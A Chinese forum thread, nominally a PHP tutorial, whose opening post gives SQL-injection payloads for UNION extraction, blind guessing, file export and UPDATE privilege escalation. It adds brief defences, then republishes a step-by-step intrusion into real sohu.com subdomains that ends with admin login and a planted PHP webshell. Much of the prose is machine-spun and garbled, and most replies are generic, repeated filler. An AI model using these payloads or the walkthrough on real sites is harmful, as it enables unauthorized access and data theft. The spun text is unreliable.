仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 1774|回复: 20
打印 上一主题 下一主题

[学习教程] PHP教程之PHP的SQL注入

[复制链接]
山那边是海 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-2-3 23:33:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
在我开始学习PHP以前,我从未想过要做软件工程,即便是在去听过华育国际的关于软件工程的美好前景后,因为我一直都没有想过要与代码打交道,而是想学好所学专业,做个网络工程师或者是网络安全人员。      明天从网上进修了有关SQL注入的根基妙技。SQL注入的重点就是机关SQL语句,只要天真的应用SQL
    语句才干机关出牛比的注入字符串。学完以后写了点笔记,已备随时利用。但愿你在看上面内容时先了
    解SQL的根基道理。笔记中的代码来自收集。
    ===基本局部===
    本表查询:
    http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6
    http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m
    Union结合语句:
    http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*
    http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*
    导出文件:
    http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt
    http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt
    http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt
    INSERT语句:
    INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
    机关homepage值为:http://4ngel.net', '3’)#
    SQL语句变成:INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3’)#', '1');
    UPDATE语句:我喜好如许个器材
    先了解这句SQL
    UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
    假如此SQL被修正成以下模式,就完成了注入
    1:修正homepage值为
    http://4ngel.net', userlevel='3
    以后SQL语句变成
    UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'
    userlevel为用户级别
    2:修正password值为
    mypass)' WHERE username='admin'#
    以后SQL语句变成
    UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
    3:修正id值为
    ' OR username='admin'
    以后SQL语句变成
    UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'
    ===初级局部===
    经常使用的MySQL内置函数
    DATABASE()
    USER()
    SYSTEM_USER()
    SESSION_USER()
    CURRENT_USER()
    database()
    version()
    SUBSTRING()
    MID()
    char()
    load_file()
    ……
    函数使用
    UPDATE article SET title=DATABASE() WHERE id=1
    http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()
    SELECT * FROM user WHERE username=char(97,110,103,101,108)
    # char(97,110,103,101,108) 相当于angel,十进制
    http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
    http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111
    肯定数据布局的字段个数及类型
    http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1
    http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)
    猜数据表名
    http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members
    跨表查询失掉用户名和暗码
    http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1
    其他
    #验证第一名暗码
    http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49
    ===注入提防===
    办事器方面
    magic_quotes_gpc设置为On
    display_errors设置为Off
    编码方面
    $keywords = addslashes($keywords);
    $keywords = str_replace("_","\_",$keywords);
    $keywords = str_replace("%","\%",$keywords);
    数值类型
    利用intval()抓换
    字符串类型
    SQL语句参数中要添加单引号
    上面代码,用于防治注入
    if (get_magic_quotes_gpc()) {
    //....
    }else{
    $str = mysql_real_escape_string($str);
    $keywords = str_replace("_","\_",$keywords);
    $keywords = str_replace("%","\%",$keywords);
    }
    有效的函数
    stripslashes()
    get_magic_quotes_gpc()
    mysql_real_escape_string()
    strip_tags()
    array_map()
    addslashes()
    参考文章:
    http://www.4ngel.net/article/36.htm (SQL Injection with MySQL)中文
    http://www.phpe.net/mysql_manual/06-4.html(MYSQL语句参考)
    对sohu.com的一次平安检测
    已宣布于黑客防地
    宣布在http://www.loveshell.net
    sohu.com是国际一家对照大的门户网站,供应了包含邮箱在内的良多办事。这么大的一个网站,不出成绩是很难的,俗语说办事越多越不平安嘛!不管是对 于办事器仍是网站都是这个事理,比来进修Mysql注入,因而特地就对sohu.com做了一次小小的平安检测,看看它存不存在SQL注入破绽。
    看看sohu.com的主站发明差不多都是静态的,因而保持了在主站上找成绩的设法。直接在sohu.com的各个分站上阅读了一圈后发明,大局部网站采 用的都是Php剧本,也有多数用的是jsp剧本,依据经历咱们晓得,关于Php构建的体系,普通后台数据库都是Mysql,就好象asp对应着Mssql一样,看来能够存在成绩的中央仍是良多的。因为Php的特征(Php默许将传递的参数中的'等字符做了转换,所以关于字符类型的变量默许情形下很难注 入),普通情形下咱们注入的只能是数字类型的变量了。依据平常注入的常识,咱们晓得id=XXX如许的模式传递的参数普通都是数字类型的变量,所以咱们只 要去测试那些php?id=XXX的毗连便可能找到破绽了!经由过程一番细心的搜刮,还真让我在XXX.it.sohu.com上找到了一个存在成绩的毗连http://XXX.it.sohu.com/book/serialize.php?id=86
    提交:
    http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=1/*
    前往正常如图1。
    然后提交:
    http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2/*
    前往没有信息如图2,空空的吧,应当是SQL语句了局为空了。
    经由过程这两个Url咱们可以猜想破绽是存在的,由于咱们提交的and 1=1和and 1=2都被看成Sql语句履行啦!那末咱们提交的其他语句也是可以履行的,这就是Sql注入了!咱们还可以晓得id这个变量是被看成数字处置的,没有放到 ''之间,不然咱们是胜利不了的哦!假如变量没有过滤Sql其他关头字的话,咱们就很有能够胜利啦!我碰到良多的情形都是变量过滤了select,在 mysql里就是绝路了,好愁闷!
    既然破绽是存在的,让咱们持续吧!起首固然是探测数据库的类型和毗连数据库的帐户啦!权限高而且数据库和web同机械的话可以避免除猜想字段的疾苦啦!提交:
    http://XXX.it.sohu.com/book/serialize.php?id=86 and ord(mid(version(),1,1))>51/*
    前往正常如图3,这个语句是看数据库的版本是否是高于3的,由于3的ASCII是51嘛!版本的第一个字符是大于51的话固然就是4.0以上啦!4.0以 上是撑持union查询的,如许就能够免去一名一名猜想的疾苦哦!这里了局为真,所以数据库是4.0以上的哦,可以撑持union了。
    既然撑持union查询就先把这个语句的字段给暴出来吧!今后再用union查询甚么都是很快的哦!提交:
    http://XXX.it.sohu.com/book/serialize.php?id=86 order by 10/*
    前往了局正常如图4,看来字段是大于10个的,持续提交:
    http://XXX.it.sohu.com/book/serialize.php?id=86 order by 20/*
    正常前往,提交:
    http://XXX.it.sohu.com/book/serialize.php?id=86 order by 30/*
    ......
    到order by 50的时分前往没有信息了!看来是大于40的小于50的,因而提交:
    http://XXX.it.sohu.com/book/serialize.php?id=86 order by 45/*
    ......
    终究猜想到字段是41摆布啦!这里说是摆布是由于有些字段是不克不及排序的,所以还需求咱们用union准确定位字段数字是41,提交:
    http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*
    前往了局如图5,哈哈,胜利了哦!哪些字段会在页面显示也是了如指掌了!如今让咱们持续吧!提交:
    http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*
    前往了局如图6,完成了数据库体系的探测哦!咱们很有能够不是root,而且数据库办事器和web也很有能够不是在一台办事器,如许的话咱们就没有file权限了!提交:
    http://XXX.it.sohu.com/book/serialize.php?id=86 and (select count(*) from mysql.user)>0/*
    前往了局如图7,没有对mysql的读取权限,加倍肯定权限不是root了!呵呵!
    既然不是root,也不要泄气,让咱们持续吧!在进一步猜想数据之前咱们最好找下后台先,良多时分找到了办理员暗码却找不到中央上岸,很愁闷的说!在根目 录下加/admin和/manage/等等后台经常使用的地址都是前往404毛病,猜想了几回终究在/book/目次下admin的时分呈现了403 Forbiden毛病,哈哈,是存在这个目次的!然而上岸页面逝世活也猜不出来,愁闷中!不外既然晓得有个admin也好说,去Google里搜刮:
    admin site:sohu.com
    如图8,失掉了别的一个分站的服装论坛,咱们晓得人是很怠惰的,凡是一个中央的后台的特点就极可能是全部网站的特点,所以当我测验考试会见/book/admin /admuser.php的时分事业呈现了,如图9,哈哈,离胜利更近了哦!到这里咱们晓得了网站的后台,其实咱们还可以失掉很主要的信息,检查原文件发 现上岸表单的名字是name和password,很轻易推想出对方办理员表中的布局,即便不合适估量也差不多,呵呵!所以晓得为何咱们要先猜想后台了 吧!持续注入吧!提交:
    http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from admin/*
    前往毛病,申明不存在admin这个表,测验考试admins和admin_user等等,最初提交:
    http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
    的时分前往胜利,哈哈!有User这个表!那末是否是办理员表呢?字段又是甚么呢?持续提交:
    http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
    前往空信息的毛病,提交:
    http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
    前往了局如图10,哈哈正常前往而且出来了一个暗码,应当是办理员内外第一个用户的暗码!那末他的用户名字是甚么呢?猜想良多字段都是前往毛病,其实没有举措的时分输出一个ID,竟然前往胜利了!ID就是办理员的名字哦!提交:
    http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,password,3,4,id,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
    前往了局如图11,哈哈,失掉办理员的名字了哦!冲动地拿着办理员名字和暗码去后台上岸胜利了哦!如图12。如今是想一想怎样拿webshell的时分了, 在后台发明有上传图片的中央,然而当上传php文件的时分提醒说不是图片文件,愁闷了!在后台细心的七零八落的乱翻了会,发明有个生成php文件的功效, 因而在外面拔出了一句话的php后门,如图13,点生成以后提醒胜利了,看来假如没有过滤的话咱们应当是失掉webshell了,暗码是a,用一句 话后门连上去如图14,哈哈,胜利了!剧本检测到此美满完成!
    在失掉webshell以后我上办事器上看了看,发明办事器的平安是做得不错,履行不了号令,而且根基上一切的目次除咱们方才上传的目次以外都是不成写 的,不外作为剧本测试,失掉了webshell也就算胜利了吧!也能够看出,小小的一个参数没有过滤就能够招致网站的低迷,出格是像sohu.com如许 的大站,参数更多,加倍要注重过滤方面的成绩哦!
总的来说,在这一个月左右的时间中,学到的不少,但是也遇到不少的问题,比如批量图片的上传,一直到现在也不懂,如何实现动态的增加上传图片的数量。
海妖 该用户已被删除
沙发
发表于 2015-2-4 02:06:19 | 只看该作者
刚开始安装php的时候,我图了个省事,把php的扩展全都打开啦(就是把php.ini 那一片 extension 前面的冒号全去掉啦),这样自然有好处,以后不用再需要什么功能再来打开。
第二个灵魂 该用户已被删除
板凳
发表于 2015-2-4 21:32:09 | 只看该作者
首先声明:我是一个菜鸟,是一个初学者。学习了一段php后总是感觉自己没有提高,无奈。经过反思我认为我学习过程中存在很多问题,我改变了学习方法后自我感觉有了明显的进步。
柔情似水 该用户已被删除
地板
发表于 2015-2-7 17:56:31 | 只看该作者
至于模板嘛,各位高人一直以来就是争论不休,我一只小菜鸟就不加入战团啦,咱们新手还是多学点东西的好。
金色的骷髅 该用户已被删除
5#
发表于 2015-2-8 07:46:56 | 只看该作者
个人呢觉得,配wamp 最容易漏的一步就是忘了把$PHP$目录下的libmysql.dll拷贝到windows系统目录的system32目录下,还有重启apache。
分手快乐 该用户已被删除
6#
发表于 2015-2-25 00:59:01 | 只看该作者
环境搭建好,当你看见你的浏览器输出“it works\\\\\\\"时你一定是喜悦的。在你解决问题的时候,我强烈建议多读php手册。
精灵巫婆 该用户已被删除
7#
发表于 2015-3-2 01:42:27 | 只看该作者
对于懒惰的朋友,我推荐php的集成环境xampp或者是wamp。这两个软件安装方便,使用简单。但是我还是强烈建议自己动手搭建开发环境。
因胸联盟 该用户已被删除
8#
发表于 2015-3-8 21:52:59 | 只看该作者
使用 jquery 等js框架的时候,要随时注意浏览器的更新情况,不然很容易发生框架不能使用。
再见西城 该用户已被删除
9#
发表于 2015-3-10 05:16:09 | 只看该作者
不禁又想起那些说php是草根语言的人,为什么认得差距这么大呢。
不帅 该用户已被删除
10#
发表于 2015-3-11 10:29:59 | 只看该作者
你很难利用原理去编写自己的代码。对于php来说,系统的学习我认为还是很重要的,当你有一定理解后,你可你针对某种效果研究,我想那时你不会只是复制代码的水平了。
活着的死人 该用户已被删除
11#
发表于 2015-3-18 05:33:48 | 只看该作者
使用 jquery 等js框架的时候,要随时注意浏览器的更新情况,不然很容易发生框架不能使用。
透明 该用户已被删除
12#
发表于 2015-3-20 20:44:57 | 只看该作者
你很难利用原理去编写自己的代码。对于php来说,系统的学习我认为还是很重要的,当你有一定理解后,你可你针对某种效果研究,我想那时你不会只是复制代码的水平了。
兰色精灵 该用户已被删除
13#
发表于 2015-3-31 02:12:49 | 只看该作者
爱上php,他也会爱上你。
山那边是海 该用户已被删除
14#
 楼主| 发表于 2015-4-3 19:40:26 | 只看该作者
首先我是坚决反对新手上来就用框架的,因为对底层的东西一点都不了解,造成知识上的真空,会对以后的发展不利。我的观点上手了解下框架就好,代码还是手写。当然啦如果是位别的编程语言的高手的话,这个就另当别论啦。
老尸 该用户已被删除
15#
发表于 2015-4-10 09:20:41 | 只看该作者
其实没啥难的,多练习,练习写程序,真正的实践比看100遍都有用。不过要熟悉引擎
飘灵儿 该用户已被删除
16#
发表于 2015-4-15 00:12:19 | 只看该作者
在我安装pear包的时候老是提示,缺少某某文件,才发现 那群extension 的排列是应该有一点的顺序,而我安装的版本的排序不是正常的排序。没办法我只好把那群冒号加了上去,只留下我需要使用的扩展。
乐观 该用户已被删除
17#
发表于 2015-4-16 11:09:35 | 只看该作者
我要在声明一下:我是个菜鸟!!我对php这门优秀的语言也是知之甚少。但是我要在这里说一下php在网站开发中最常用的几个功能:
飘飘悠悠 该用户已被删除
18#
发表于 2015-4-23 01:54:40 | 只看该作者
其实也不算什么什么心得,在各位大侠算是小巫见大巫了吧,望大家不要见笑,若其中有错误的地方请各位大虾斧正。
变相怪杰 该用户已被删除
19#
发表于 2015-4-26 07:19:45 | 只看该作者
再就是混迹于论坛啦,咱们的phpchina的论坛就很强大,提出的问题一般都是有达人去解答的,以前的帖子也要多看看也能学到不少前辈们的经验。别的不错的论坛例如php100,javaeye也是很不错的。
冷月葬花魂 该用户已被删除
20#
发表于 2015-5-9 13:17:53 | 只看该作者
使用 jquery 等js框架的时候,要随时注意浏览器的更新情况,不然很容易发生框架不能使用。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2024-6-10 19:47

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表